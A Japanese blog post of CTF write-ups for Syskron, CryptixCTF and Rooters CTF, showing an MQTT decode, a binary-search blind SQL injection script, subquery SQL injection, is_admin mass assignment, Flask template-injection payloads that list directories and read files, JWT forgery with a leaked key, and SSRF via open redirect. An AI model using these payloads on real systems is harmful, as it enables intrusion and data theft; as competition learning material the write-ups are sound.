Syskron Security CTF Writeup - My servo drive is getting mad
Question
My servo drive sends strange parameters. Can you decode them? I have to go for lunch. mqtt.ctf.syskron-security.com:1883
Solution
MQTTで接続するようなので、簡単な受信スクリプトを書く。
過去の問題ではMQTT over WebSocketだったが、今回は普通のMQTT。
過去のWriteupは以下。
hxp CTF 2018 Writeup - time for h4x0rpsch0rr? - こんとろーるしーこんとろーるぶい
import paho.mqtt.client as mqtt def on_connect(client, userdata, flags, respons_code): print('connected') client.subscribe('#') def on_message(client, userdata, msg): print(msg.topic + ' ' + str(msg.payload)) client = mqtt.Client() client.on_connect = on_connect client.on_message = on_message client.connect('mqtt.ctf.syskron-security.com', 1883, keepalive=60)
実行する。
(venv3) root@kali:/mnt/CTF/Contest/Syskron Security CTF# python mqtchall.py connected servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'153' servo/rpm b'147' servo/rpm b'158' servo/rpm b'152' servo/rpm b'132' servo/rpm b'151' servo/rpm b'154' servo/rpm b'147' servo/rpm b'143' servo/rpm b'160' servo/rpm b'146' servo/rpm b'154' servo/rpm b'160' servo/rpm b'207' servo/rpm b'138' servo/rpm b'139' servo/rpm b'130' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' (snip)
ASCII文字になりそう。
data = "153 147 158 152 132 151 154 147 143 160 146 154 160 207 138 139 130" decoded = "" for i in data.split(" "): decoded += (chr(int(i) ^ 0xff)) print(decoded)
実行する。
(venv3) root@kali:/mnt/CTF/Contest/Syskron Security CTF# python decode.py flag{help_me_0ut}
CryptixCTF'19 Writeup - Pure Magic
普通のBlind SQL Injectionの問題だが、いつも適当にリニアサーチで解いていたところをバイナリサーチで実装したので、メモとして残しておく。
Question
Like all fairy tails, you need a passphrase to pass through the cave and get the flag! https://cryptixctf.com/web3 NOTE: The flag format is flag{XXXXX} as usual.
Solution
' or 1=1#
を入力すると以下の表示。
You thought it would be that easy?! Hahaha. There is no flag. But since you have passed the phrase check, here is the query SELECT * FROM data where password='XXXXX' :)
Blind SQL Injectionでパスフレーズを特定する。
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string import time URL = 'https://cryptixctf.com/web3/login.php' target = "" def trace_request(req): print("[+] request start") print('{}\n{}\n\n{}'.format( req.method + ' ' + req.url, '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()), req.body, )) print("[+] request end") def trace_response(res): print("[+] response start") print('{}\n{}\n\n{}'.format( res.status_code, '\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()), res.content, )) print("[+] response end") def challenge(offset, guess): req = requests.Request( 'POST', URL, data={ "pwd" : "' or ASCII(SUBSTRING((select password from data limit 0, 1),{},1)) < {} #".format(offset + 1, guess) } ) prepared = req.prepare() #trace_request(prepared) session = requests.Session() #start = time.time() # TimeBased用 res = session.send(prepared, allow_redirects = False) #elapsed_time = time.time() - start # TimeBased用 #trace_response(res) if "There is no flag" in res.content.decode("utf-8"): return True # 取得したい文字の文字コードは予想文字の文字コードより小さい else: return False # 取得したい文字の文字コードは予想文字の文字コード以上 def binarySearch(offset): low = 0 high = 256 while low <= high: guess = (low + high) // 2 is_target_lessthan_guess = challenge(offset, guess) if is_target_lessthan_guess: high = guess else: low = guess if high == 1: return -1 elif high - low == 1: return low while True: code = binarySearch(len(target)) if code == -1: break target += chr(code) print("[+] target: " + target) print("[+] target: " + target)
実行する。
root@kali:/mnt/CTF/Contest# python3 BlindSQLInjection_binary.py [+] target: B [+] target: Bl [+] target: Bl1 [+] target: Bl1n [+] target: Bl1nD [+] target: Bl1nD_ [+] target: Bl1nD_S [+] target: Bl1nD_S0 [+] target: Bl1nD_S0r [+] target: Bl1nD_S0rc [+] target: Bl1nD_S0rc3 [+] target: Bl1nD_S0rc3r [+] target: Bl1nD_S0rc3r3 [+] target: Bl1nD_S0rc3r3r [+] target: Bl1nD_S0rc3r3ry [+] target: Bl1nD_S0rc3r3ry
flag{Bl1nD_S0rc3r3ry}
がフラグ。
Rooters CTF Writeup - Web(全問)
全体的に難易度は低めで、少々思うところもある問題でしたがリハビリということで。
baby web
Question
My junior dev just set up a password protected webpage. Can you get in? https://babyweb.rootersctf.in/
Solution
問題文のとおり、UNION SLEEP ' " OR - BENCHMARKの入力が塞がれている。 SQL Injectionが自明。
テキストボックスのsearch項目に、適当に入力してみる。
root@kali:~# curl https://babyweb.rootersctf.in/index.php -G --data-urlencode "search=a" Unknown column 'a' in 'where clause' root@kali:~# curl https://babyweb.rootersctf.in/index.php -G --data-urlencode "search=1" SELECT * FROM users WHERE uniqueid=1 <!doctype html> <html lang="en"> <head> <style> (snip)
親切にもSQLを教えてくれる。"
にも'
にも括られていないようだ。
OR句を使えないため、副問合せを使用してWHERE句に合致するレコードを取得してみる。
root@kali:~# curl https://babyweb.rootersctf.in/index.php -G --data-urlencode "search=(select uniqueid from users limit 0,1)" -v (snip) HTTP/2 302 date: Fri, 11 Oct 2019 19:07:07 GMT content-type: text/html; charset=UTF-8 set-cookie: __cfduid=d7a0b4d65e578a5b1174535c266f610f31570820826; expires=Sat, 10-Oct-20 19:07:06 GMT; path=/; domain=.rootersctf.in; HttpOnly; Secure x-powered-by: PHP/7.3.10 location: https://babyweb.rootersctf.in/flag0flagpleasedontsharetheflagwithrandompeoples.php?id=837461526918364526 cf-cache-status: DYNAMIC expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" server: cloudflare cf-ray: 52431d76bff4af03-KIX
リダイレクトが発生。-L
オプションを使用してリダイレクト先を追いかけてみる。
root@kali:~# curl https://babyweb.rootersctf.in/index.php -G --data-urlencode "search=(select uniqueid from users limit 0,1)" -L <h1>rooters{J00_kN0W_5QL_1nJ3c710n}ctf</h1>
フラグゲット。
notifyXapi
Question
web Reynholm Industries needed a system to issue notifications/messages for their employees. Maurice Moss, coding genius of The IT crowd, was assigned with the task to create one. The basic idea was that upper-level employees can create and view all the notifications. The lower-level employees shouldn't be able to read the confidential upper-level only notifications. Is Maurice really a coding genius ? Challenge link: https://notifyxapi.rootersctf.in/
Solution
まずはAPIの利用マニュアルのとおりに実行してみる。
root@kali:~# curl -X POST "https://notifyxapi.rootersctf.in/api/v1/register/" -H "Content-Type: application/json" \ > -d '{"email": "vvvv@example.com", "password": "password"}' {"created_user":{"id":172,"user":{"is_admin":false,"email":"vvvv@example.com","id":172},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3NDgzMjgsIm5iZiI6MTU3MDc0ODMyOCwianRpIjoiMWZkN2RjMGItODZlYy00ZGNlLWJjZTMtYWZlYzVhMDIxY2UxIiwiZXhwIjoxNjAyMjg0MzI4LCJpZGVudGl0eSI6MTcyLCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.thJqkIdErj8NedPkHoN4X2LnUQ-hARC587jqKmFxlSo"}}
アカウントの属性情報としてis_admin
があるようだ。
root@kali:~# curl -X POST "https://notifyxapi.rootersctf.in/api/v1/login/" -H "Content-Type: application/json" \ > -d '{"email": "vvvv@example.com", "password": "password"}' {"id":{"is_admin":false,"email":"vvvv@example.com","id":172},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3NDg0MDYsIm5iZiI6MTU3MDc0ODQwNiwianRpIjoiNTA2NGViNWItZWRhZS00ZTM3LTk2ZDgtOWIyMjRlMjIxNGI4IiwiZXhwIjoxNjAyMjg0NDA2LCJpZGVudGl0eSI6MTcyLCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.8JWiQbBqiVcMnBHvqsK42YYzS7yDAW8xIvrf9SJCf-I"} root@kali:~# export ACCESS="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3NDg0MDYsIm5iZiI6MTU3MDc0ODQwNiwianRpIjoiNTA2NGViNWItZWRhZS00ZTM3LTk2ZDgtOWIyMjRlMjIxNGI4IiwiZXhwIjoxNjAyMjg0NDA2LCJpZGVudGl0eSI6MTcyLCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.8JWiQbBqiVcMnBHvqsK42YYzS7yDAW8xIvrf9SJCf-I" root@kali:~# curl -H "Authorization: Bearer $ACCESS" -H "Content-Type: application/json" "https://notifyxapi.rootersctf.in/api/v1/notifications/" [{"body":"hey, rosssssss","issuer":{"email":"test@test.com","id":2},"id":2,"title":"The IT Crowd"}, {"body":"Jen Barber? Is that the internet?","issuer":{"email":"test@test.com","id":2},"id":3,"title":"The IT Crowd"}, (snip) ]
is_admin
をtrue
にできれば、notificationsからフラグを取得できるのだろう。
アカウント登録時に突っ込んでみる。
root@kali:~# curl -X POST "https://notifyxapi.rootersctf.in/api/v1/register/" -H "Content-Type: application/json" \ > -d '{"email": "vvvv1@example.com", "password": "password", "is_admin":true}' {"created_user":{"id":254,"user":{"email":"vvvv1@example.com","is_admin":true,"id":254},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3OTAyMzYsIm5iZiI6MTU3MDc5MDIzNiwianRpIjoiMmQ5MzhkZGMtMzE5MC00NjdkLTk3MDctYTViYzQ4NzkxNWM2IiwiZXhwIjoxNjAyMzI2MjM2LCJpZGVudGl0eSI6MjU0LCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.qgZ1SIHtbCPgk6xHIoKjw9uhtZiaHzm47p__Yk9fKSc"}}
ビンゴ。設定できたようだ。
root@kali:~# curl -X POST "https://notifyxapi.rootersctf.in/api/v1/login/" -H "Content-Type: application/json" \ > -d '{"email": "vvvv1@example.com", "password": "password"}' {"id":{"email":"vvvv1@example.com","is_admin":true,"id":254},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3OTAyNzYsIm5iZiI6MTU3MDc5MDI3NiwianRpIjoiM2Y0ZjBkOGUtYmQyMi00ZWUwLThkYWUtYTU5ZmNmNmY5NWZkIiwiZXhwIjoxNjAyMzI2Mjc2LCJpZGVudGl0eSI6MjU0LCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.I5tsrUKZL6Uc0rM8AzwVORCZZzmJafB-N7lC8X9qtQQ"} root@kali:~# export ACCESS="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3OTAyNzYsIm5iZiI6MTU3MDc5MDI3NiwianRpIjoiM2Y0ZjBkOGUtYmQyMi00ZWUwLThkYWUtYTU5ZmNmNmY5NWZkIiwiZXhwIjoxNjAyMzI2Mjc2LCJpZGVudGl0eSI6MjU0LCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.I5tsrUKZL6Uc0rM8AzwVORCZZzmJafB-N7lC8X9qtQQ" root@kali:~# curl -H "Authorization: Bearer $ACCESS" -H "Content-Type: application/json" "https://notifyxapi.rootersctf.in/api/v1/notifications/" [{"title":"flag","issuer":{"email":"admin@test.com","id":1},"body":"rooters{a_big_hard_business_in_a_big_hard_building}ctf","id":1}, (snip) ]
フラグゲット。
I <3 Flask
Question
meme Challenge Link: iloveflask
Solution
特に入力パラメータが見つからない。
しばらく悩むが、問題文のmemeのリンク先の画像を眺める。
View post on imgur.com
imgur.com
名前がflask。
root@kali:~# curl https://iloveflask.rootersctf.in/ -G --data-urlencode "name={{7*7}}" -s | grep hearts <title>I ♥ Flask</title> <a class="navbar-brand mr-4" href="/">I ♥ Flask</a> I ♥ Flask & 49
お。
Template Injection自明。
ディレクトリリスティングする。
root@kali:~# curl https://iloveflask.rootersctf.in/ -G --data-urlencode "name={{url_for.__globals__.__getitem__('os').listdir('./')}}" -s | grep hearts <title>I ♥ Flask</title> <a class="navbar-brand mr-4" href="/">I ♥ Flask</a> I ♥ Flask & ['flag.txt', 'templates', 'application.py', 'static', 'requirements.txt']
flag.txtを発見。
root@kali:~# curl https://iloveflask.rootersctf.in/ -G --data-urlencode "name={{url_for.__globals__['__builtins__'].open('flag.txt').read()}}" -s | grep hearts <title>I ♥ Flask</title> <a class="navbar-brand mr-4" href="/">I ♥ Flask</a> I ♥ Flask & rooters{I_still_love_flask_fd02a527ca93ff0a}ctf
フラグゲット。
imgXweb
Question
Image hosting. Soo boring, I know. Challenge Link: https://imgxweb.rootersctf.in/
Solution
アカウントを作成してログインすると、画像をアップロードできる。 アップロードファイルの拡張子やファイルタイプのチェックはしていない。
robots.txtを確認。
root@kali:~# curl https://imgxweb.rootersctf.in/robots.txt User-agent: * Disallow: /static/secretkey.txt root@kali:~# curl https://imgxweb.rootersctf.in/static/secretkey.txt you-will-never-guess
Cookieを見るとセッションはJWTの形式。
頂いたsecretkeyを使用してセッションを改ざんしてadmin
に成りすますだけ。
PAYLOADに{"user": "admin"}
、VERIFY SIGNATUREのテキストボックスにyou-will-never-guess
を入力し、生成したJWT形式の文字列をCookieのsession_idにセットしてページをリロードする。
フラグ文字列が書いてある画像がアップロードされている。
フラグゲット。
rooters{I_hope_you_got_rick_rolled_but_you_made_it_so_hoorayyy}ctf
searchXapi
Question
The searchXapi loads data from different APIs present on the web, and lets you search for specific terms. Challenge Link: https://searchxapi.rootersctf.in
Solution
URLとSearch Termを入力可能。
サイトの記載によると、入力可能なURLはhttps://searchxapi.rootersctf.in/books
のみ。
root@kali:~# curl https://searchxapi.rootersctf.in/books -s | jq { "status": "OK", "copyright": "Copyright (c) 2019 The New York Times Company. All Rights Reserved.", "num_results": 9, "results": [ { "title": "ETIQUETTE AND ESPIONAGE", "description": "Sophronia is sent to an unusual finishing school.", "contributor": "by Gail Carriger", "author": "Gail Carriger", "contributor_note": "", "price": 0, "age_group": "Ages 11 to 15", "publisher": "Little, Brown & Company", "isbns": [ { "isbn10": "031619008X", "isbn13": "9780316190084" } ], "ranks_history": [ { "primary_isbn10": "031619008X",
URLの先のAPIにアクセスして、Search Termの条件に合致したデータを返却してくれるようなサービスなのだろうか。
ただ、Search Termに入力してもNo results
が返却される。
URLに自サイトのURLを入力してもInvalid URL!
が返却される。
しばらく悩むが手詰り。駄目元でBAN覚悟でdirbをかける。
root@kali:~# dirb https://searchxapi.rootersctf.in/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sat Oct 12 03:15:26 2019 URL_BASE: https://searchxapi.rootersctf.in/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: https://searchxapi.rootersctf.in/ ---- + https://searchxapi.rootersctf.in/books (CODE:200|SIZE:10728) + https://searchxapi.rootersctf.in/redirect (CODE:302|SIZE:207) ----------------- END_TIME: Sat Oct 12 03:27:12 2019 DOWNLOADED: 4612 - FOUND: 2
/redirect
が見つかった。パラメータをguessする。
root@kali:~# curl https://searchxapi.rootersctf.in/redirect?uri=aaa <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to target URL: <a href="aaa">aaa</a>. If not click the link.
uri
パラメータの存在を確認。オープンリダイレクトの脆弱性を使うようだ。
requestbinでリクエストを待ち受けてみる。
root@kali:~# curl https://searchxapi.rootersctf.in/ --data-urlencode "url=https://searchxapi.rootersctf.in/redirect?uri=http://requestbin.net/r/wutneswu" -d "search_term=a"
フラグゲット。
rooters{Listen_to_this_bit.do/fccPs}ctf
最後に、問題サイトのRulesのページから抜粋したものを転記しておく。
3 - Needless to say: no bruteforcing (you'll never guess, anyway); 6 - Automated vulnerability scanners on web challenges will get you banned for 5 mins;
ふむ。